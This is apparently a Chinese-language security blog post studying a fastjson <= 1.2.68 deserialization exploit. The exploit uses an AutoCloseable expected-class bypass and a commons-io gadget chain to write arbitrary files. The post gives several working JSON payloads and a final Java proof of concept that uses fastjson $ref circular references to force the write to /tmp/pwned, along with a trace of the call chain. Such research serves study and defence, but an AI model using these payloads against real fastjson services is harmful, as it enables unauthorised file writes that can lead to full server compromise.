Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入
前言:要学的都放在这列好,等fastjosn的历史线整理完了,再来学习这条链,这篇作为期望类AutoCloseable的利用
1、学习commonis-io来实现无系统版本限制来进行任意文件写入
2、解决为什么实战中最初的payload会显示default constructor not found.
3、进一步的了解fastjson的词义解析器
回顾
首先,我们回顾下,基于期望类的AutoCloseable来绕过autoType的机制有什么条件:
1、首先需要一个基于AutoCloseable作为期望类的反序列化器作为开头
2、后续解析的json字段,如果想要进行@type,@type对应的类想要是AutoCloseable的实现类
到这里,我们就分析好了,那么如果想要找到真正能利用的类,那么就需要是AutoCloseable的实现类,那么可以从哪里找?
1、原生类中的类实现了AutoCloseable的类
2、第三方jar包中实现了AutoCloseable的类
为什么下面的payload不通用
先分析下这条公开的了利用链
payload:
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
存在的问题
实战中我拿过这条payload进行利用,但是返回的都是如下的字符串:
default constructor not found. class sun.rmi.server.MarshalOutputStream
原因
原因如下fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可
这里可以通过查看MarshalOutputStream是否存在相关的LocalVariableTable
javap -l MarshalOutputStream.class | grep LocalVariableTable
如何挖掘带有通用的AutoCloseable利用链
1、LocalVariableTable 调试信息
2、第三方库大多数都存在LocalVariableTable 调试信息
3、第三方库中的实现AutoCloseable的子类
第三方jar commons-io 2.x包写文件利用链
参考文章:https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
长亭的一位师傅就在commons-io依赖包中进行了挖掘,他找到了一个可以不受系统限制的任意写文件的利用链,这里来进行学习下利用思路
利用链的POC如下所示,可以看到入口点就是XmlStreamReader,这里通过javap -l XmlStreamReader.class | grep LocalVariableTable
测试的话,同样也可以发现是存在LocalVariableTable调试信息的
这里需要注意的原本文章中提供的WriterOutputStream的charset为charsetName导致利用失败,这里需要注意改下,可能是作者使用的是openjdk还是什么原因,作者那边的是charsetName,payload结果如下所示,我自己的环境是jdk版本331
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charset": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
利用链的入口org.apache.commons.io.input.XmlStreamReader#XmlStreamReader(java.io.InputStream, java.lang.String, boolean, java.lang.String) 构造函数,如下图所示
其中inputstream对象构造的是TeeInputStream对象,其中构造函数的input字段(ReaderInputStream)和branch字段(WriterOutputStream)
其中ReaderInputStream的reader字段为CharSequenceReader(字符串aaaa)和charsetName字段和bufferSize字段
其中WriterOutputStream的writer字段为FileWriterWithEncoding(写文件使用)
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\":{\n" +
" \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +
" \"charSequence\":{\"@type\":\"java.lang.String\"\"aaaaaa\"\n" +
" },\n" +
" \"charsetName\":\"UTF-8\",\n" +
" \"bufferSize\":1024\n" +
" },\n" +
利用链流程分析
这里就不进行调试了,简单的说明下调用的过程即可
那么这里就需要了解XmlStreamReader入口点的调用流程
XmlStreamReader.<init>(InputStream, String, boolean, String)
-> XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)
-> BOMInputStream.getBOMCharsetName()
-> BOMInputStream.getBOM()
-> BufferedInputStream.read()
-> BufferedInputStream.fill()
-> InputStream.read(byte[], int, int)
XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)
此时的BOMInputStream中是我们的TeeInputStream对象
BOMInputStream.getBOMCharsetName()
BOMInputStream.getBOM()
BufferedInputStream.read(),那么这里的in.read();调用的就是TeeInputStream的read方法
而这里的TeeInputStream的read方法中super.read();的super.read()方法对象是我们的ReaderInputStream对象,所以这里调用的是ReaderInputStream.read方法
ReaderInputStream.read方法会调用fillBuffer方法,这里继续跟进去进行观察
其中会调用reader.read(encoderIn.array(), position, encoderIn.remaining());方法,而这里的reader.read实际上是CharSequenceReader.read方法
上面系列的构造就完成了读取CharSequenceReader中的数据到一个另一个流中,而另一个流我们这里构造的就是WriterOutputStream,最终流向的位置就是在org.apache.commons.io.input.TeeInputStream#read()中进行体现,如下图所示
这里挑选的WriterOutputStream对象,这里继续跟过去,调用的位置就是org.apache.commons.io.output.WriterOutputStream#write(byte[], int, int)
接着继续跟到org.apache.commons.io.output.WriterOutputStream#processInput方法中,因为这里把数据又放到了decoderIn缓冲区里面,然后又调用了processInput方法
接着最终的话就会在如下图的位置flushOutput方法进行触发写入
跟进flushOutput方法中,可以看到调用了writer.write(decoderOut.array(), 0, decoderOut.position())方法,这里的writer就是我们构造的FileWriterWithEncoding对象,所以调用的就是FileWriterWithEncoding.write
而我们这边write的对象就是一个构造的文件,poc中体现的就是/tmp/pwned
最终的效果就是如下所示,但是奇怪的就是这里并没有将其数据进行写入
未写入数据的原因
继续往下跟你会发现最终调用write的方法是在sun.nio.cs.StreamEncoder#write(int)中
sun.nio.cs.StreamEncoder#implWrite,而最终如果想要写入成功的话,就需要满足var5.isOverflow()
如下所示,来自长亭文章中的截图
解决办法如下,可以通过fastjson的循环引用的特性来进行解决
fastjson的循环引用的特性
参考文章:https://blog.csdn.net/HelloXiaoYueYue/article/details/51173168
这里还需要穿插下关于fastjson的循环引用的特性,这里拿到小例子来说明关于fastjson的循环引用的使用
比如如下的代码,字段c中还需要拿到a的值,并且需要跟a保证是内存地址也是一样,那么这里就可以通过引用的方式,通过{"$ref":"$.a"}
的形式即可,$
代表的是第一层的json中的地址
public class Test_for_ref {
public static void main(String[] args) {
String test_json = "{\"a\": \"1\", b: {\"c\":{\"$ref\":\"$.a\"}}}";
Object object2 = JSON.parseObject(test_json);
System.out.println(object2);
}
}
如果想要多层嵌套的的话也是一样的,外部再加个对应的键即可,如下所示引用
public class Test_for_ref {
public static void main(String[] args) {
String test_json = "{\"a\": {\"b\":{\"c\":\"2\"}}, \"d\": {\"e\":{\"$ref\":\"$.a.b.c\"}}}";
Object object2 = JSON.parseObject(test_json);
System.out.println(object2);
}
}
所以需要对输出流进行多次写入实现isOverflow的效果,最终的POC则为如下所示
public class Test_1_2_68_4 {
public static void main(String[] args) {
String userJson = "\n" +
"{\n" +
" \"x\":{\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"input\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\":{\n" +
" \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +
" \"charSequence\":{\"@type\":\"java.lang.String\"\"testaaaaaaaaaaaaaaaaaaaa\"\n" +
" },\n" +
" \"charsetName\":\"UTF-8\",\n" +
" \"bufferSize\":1024\n" +
" },\n" +
" \"branch\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" +
" \"writer\":{\n" +
" \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +
" \"file\":\"/tmp/pwned\",\n" +
" \"encoding\":\"UTF-8\",\n" +
" \"append\": false\n" +
" },\n" +
" \"charset\":\"UTF-8\",\n" +
" \"bufferSize\": 1024,\n" +
" \"writeImmediately\": true\n" +
" },\n" +
" \"trigger\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" },\n" +
" \"trigger2\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" },\n" +
" \"trigger3\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" }\n" +
" }\n" +
"}";
Object object2 = JSON.parse(userJson);
}
}